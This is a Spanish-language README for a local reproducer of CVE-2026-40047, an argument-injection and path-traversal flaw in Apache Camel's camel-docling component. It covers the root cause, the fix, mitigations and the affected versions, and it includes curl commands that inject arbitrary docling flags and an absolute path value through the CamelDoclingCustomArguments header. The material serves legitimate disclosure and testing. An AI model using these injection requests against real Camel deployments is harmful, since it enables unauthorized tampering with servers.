
Reproductor para CVE-2026-40047: inyección de argumentos CLI / path traversal en Apache Camel camel-docling
Este proyecto demuestra una vulnerabilidad de inyección de argumentos CLI y path traversal en el componente camel-docling de Apache Camel, registrada como CVE-2026-40047. DoclingProducer construye la invocación de la herramienta externa de línea de comandos docling a partir de los encabezados del mensaje; los argumentos personalizados suministrados a través del encabezado CamelDoclingCustomArguments se añadían con una validación insuficiente (una lista de bloqueo más una comprobación literal de ../), por lo que un atacante que influya en esos encabezados puede inyectar flags arbitrarios de docling y valores de ruta con traversal en el subproceso.
Aviso de seguridad: https://camel.apache.org/security/CVE-2026-40047.html
DoclingProducer ensambla la invocación de docling y la ejecuta mediante java.lang.ProcessBuilder (forma de lista, sin shell). Los argumentos CLI personalizados del encabezado CamelDoclingCustomArguments se añaden al comando:
// DoclingProducer.addCustomArguments(...) - affected version
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
validateCustomArguments(customArgs); // denylist + literal "../" check (weak)
command.addAll(customArgs);
}
En las versiones afectadas, validateCustomArguments se basaba en una lista de bloqueo de flags no permitidos y solo rechazaba valores de ruta que contuvieran un ../ literal. Como resultado:
docling.../ literal (rutas absolutas o secuencias normalizadas) no son detectados.Debido a que Camel construye la invocación de docling, el componente es responsable de restringir estos valores. La corrección (CAMEL-23212) reemplaza la lista de bloqueo por una lista permitida estricta de flags reconocidos, rechaza flags gestionados por el productor (--output/-o) y metacaracteres de shell (defensa en profundidad), y normaliza los valores similares a rutas con Path.normalize() antes de validarlos.
La invocación usa la forma de lista de
ProcessBuilder, por lo que un shell no interpreta los valores — la inyección de comandos del SO mediante metacaracteres de shell no es posible; el rechazo de metacaracteres en la corrección es defensa en profundidad.
from("direct:convert")
.to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");
docling es una herramienta externa. Este reproductor incluye un stub docling (en el PATH dentro del contenedor) que registra el argv que recibe y escribe un archivo markdown, de modo que los argumentos inyectados son visibles en la respuesta HTTP y en /tmp/docling-invocations.log. Todo se ejecuta dentro de una imagen Docker (aplicación + stub), por lo que no es necesario instalar docling real.
docling)mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal
# stub docling receives: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt
curl "http://localhost:8080/exploit/attack"
# injects CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling receives:
# docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt
# a path value with no literal "../" (absolute path) also passes:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"
En una versión afectada (este reproductor fija la 4.18.2) la ruta tiene éxito y los argumentos inyectados llegan al subproceso. En una versión corregida (4.18.3 / 4.19.0) la lista permitida rechaza --injected-by-attacker con una IllegalArgumentException y la ruta falla.
docker compose down
CamelDoclingCustomArguments (o los encabezados que contienen rutas) de un productor docling:.Actualice a 4.18.3 / 4.19.0. La corrección utiliza una lista permitida estricta de flags docling reconocidos, rechaza flags gestionados por el productor y metacaracteres de shell, y normaliza los valores de ruta con Path.normalize() antes de validarlos.
Hasta actualizar:
CamelDoclingCustomArguments ni a los encabezados que contienen rutas.removeHeaders("Camel*")) de los mensajes que llegan de productores no confiables antes del productor docling:.CVE-2026-40047/
├── pom.xml
├── Dockerfile # app + stub 'docling' on PATH
├── docker-compose.yml
├── docling-stub.sh # stub 'docling' (logs argv, writes markdown)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DoclingRoute.java # from(direct:convert).to(docling:convert)
│ └── ExploitController.java # injects CamelDoclingCustomArguments
└── resources/
└── application.properties
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-docling |
| Clase afectada | org.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments) |
| Causa raíz | CamelDoclingCustomArguments (un List<String>) añadido a los argumentos CLI de docling con una lista de bloqueo débil + comprobación literal de ../ |
| CWE | CWE-88 (Argument Injection) / CWE-22 (Path Traversal) |
| Impacto | Inyección de flags CLI de docling arbitrarios/no deseados y valores de ruta fuera del directorio en la herramienta externa. NO es inyección de comandos del SO (ProcessBuilder basado en lista, sin shell). |
| Versiones afectadas | Desde 4.15.0 hasta antes de 4.18.3 |
| Versiones corregidas | 4.18.3, 4.19.0 |
| JIRA | CAMEL-23212 |
| Reportado por | Andrea Cosentino (Apache Software Foundation) |